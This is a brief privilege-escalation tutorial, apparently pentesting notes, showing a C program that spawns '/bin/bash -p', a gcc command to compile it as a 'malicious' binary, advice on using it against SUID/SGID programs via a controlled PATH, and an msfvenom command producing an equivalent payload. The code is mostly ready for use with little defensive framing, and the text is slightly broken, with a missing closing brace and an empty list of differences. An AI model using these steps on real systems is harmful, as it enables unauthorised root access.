How to Load a Shell with a Simple Executable

It’s actually trivial to write a C program that loads up a shell.

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void main() {
	system("/bin/bash -p");

Compile with:

gcc -fPIC -o /path/to/malicious /path/to/malicious.c

Note that this is almost identical to the LD_PRELOAD trick; the differences are:

A simple binary like this is useful for exploiting SUID/SGID applications that call other executables from part of the PATH that we control.


The msfvenom tool can generate binaries with essentially the same functionality as above.

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf \
         -o shell.elf